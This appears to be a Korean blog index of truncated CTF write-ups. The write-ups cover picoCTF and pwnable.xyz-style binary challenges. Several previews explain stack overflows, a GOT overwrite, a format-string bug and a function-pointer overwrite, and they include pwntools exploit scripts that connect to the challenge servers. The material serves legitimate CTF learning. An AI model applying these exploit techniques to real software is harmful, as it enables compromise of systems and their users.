목록IDA (12)
ii4gsp
64bit 바이너리이다. main()함수에서 vuln()함수를 호출한다. vuln()함수에서 gets()함수로 v1에 입력을받는다. v1은 rbp-40에 위치한다. v1 ~ sfp = 64 v1 ~ ret = 72 72byte dummy를 주고 ret를 flag()함수로 조작해주면 된다. from pwn import * s = ssh(host = '2019shell1.picoctf.com', user = '', password = '') s.set_working_directory('/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4') p = s.process('./vuln') e = ELF('/home/ii4gsp/picoCTF/vuln') flag..
보호되어 있는 글입니다.
다운 ㄱㄱ 1을 입력하면 edit_note()함수가 실행되고, 2를 입력하면 edit_desc()함수가 실행된다. edit_note()함수에서 할당 크기를 물어보고 read()함수로 전역변수 buf에 문자열을 입력받는다. strncpy()함수로 전역변수 buf에 입력받은 내용을 전역변수 s에 복사를 한다. 메모리를 보면 전역변수 s와 buf의 거리는 32byte차이가 난다. s를 오버플로우 일으켜 buf를 printf()함수의 GOT로 변조하면 된다. win()함수는 flag를 출력한다. edit_desc()함수는 buf가 0이면 0x20만큼 할당하고 0x20만큼 문자열을 입력받는다. 0x20은 32이다. edit_note()함수에서 buf를 printf()함수의 GOT로 조작하고 edit_desc()함..
printf()함수에서 포맷스트링 버그가 일어난다. setup()함수에서 printf()의 포맷스트링을 설정해준다. qword_601160은 usr과 128byte만큼 차이가 난다. 바이너리 안에는 플래그의 주소에 가짜 플래그가 있다. 서버에는 진짜 플래그가 있을것이다. Exploit from pwn import * r = remote('svc.pwnable.xyz', 30004) flag = 0x601080 payload = '' payload += 'y' payload += 'A' * 7 payload += p32(flag) r.recvuntil(": ") r.sendline(payload) formatstr = '%p %p %p %p %p %p %p %p %s %p' payload = '' payl..
파일을 다운로드 해주자. IDA로 열어보면 v5 + 7에 0xDEADBEEF를 넣고 scanf()함수로 v6, v7, v8에 입력을받는다. v5[v8 + 6]에 v6과 v7을 더한 값을 저장하고, 값을 출력한다. v5 + 7이 0xB000000B5면 win()함수를 실행하여 flag를 출력해준다. v5[0]에 -5,404,319,552,844,595,200을 입력해주고 v5[1]에 184,549,376을 입력해주면 된다. Exploit from pwn import * r = remote("svc.pwnable.xyz", 30003) r.sendline("-5404319552844595200 0 -6") r.sendline("184549376 0 -5") r.sendline("asd") r.interact..
파일을 다운받아 주자. IDA로 열어보면 cin으로 name에 입력을 받는다. name은 0x410 즉, 1040만큼 할당되었다. SFP 8byte를 더하여 1048byte dummy를 넣어주고 쉘을 실행해주는 spawn_shell()함수의 주소를 넣어주면 된다. spawn_shell()함수의 주소는 0x0000000000400897 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3013) payload = '' payload += '\x90' * 1048 payload += p64(0x0000000000400897) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운받아 주자. IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. s는 32byte만큼 할당되었고 fgets()함수로 32byte만큼 입력을받는다. 하지만, replace()함수가 "I"를 "you"로 바꿔준다. "you"는 3byte이므로, 3 * 20 = 60 dummy + sfp = 64 64byte dummy를 채워주고 flag를 출력해주는 get_flag() 함수의 주로를 ret로 조작해주면 된다. get_flag()함수의 주소는 0x08048F0D 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3011) payload = '' payload += 'I' * 20 payload += '\x90' * 4 ..
파일을 다운받아 주자. IDA로 열어보면 gets()함수로 s에 입력을받고 select_func()함수를 호출한다. select_func()함수를 보면 v3가 two()함수를 가리키고 있다. 인자 src를 0x1F 즉, 31byte만큼 dest에 복사한다. 그리고 dest의 값이 "one"이라면 v3가 one()함수를 가르키고 v3가 가리키는 함수를 호출한다. print_flag()함수를 호출하면 flag를 볼 수 있다. 함수의 주소를 보면 two()함수의 주소는 0x000006AD이고 print_flag()함수의 주소는 0x000006D8 이다. select_func()에서 dest와 v3의 거리는 30이다. 복사하는 크기는 31byte이다. 즉, 30byte dummy를 주고 0xD8을 주면 prin..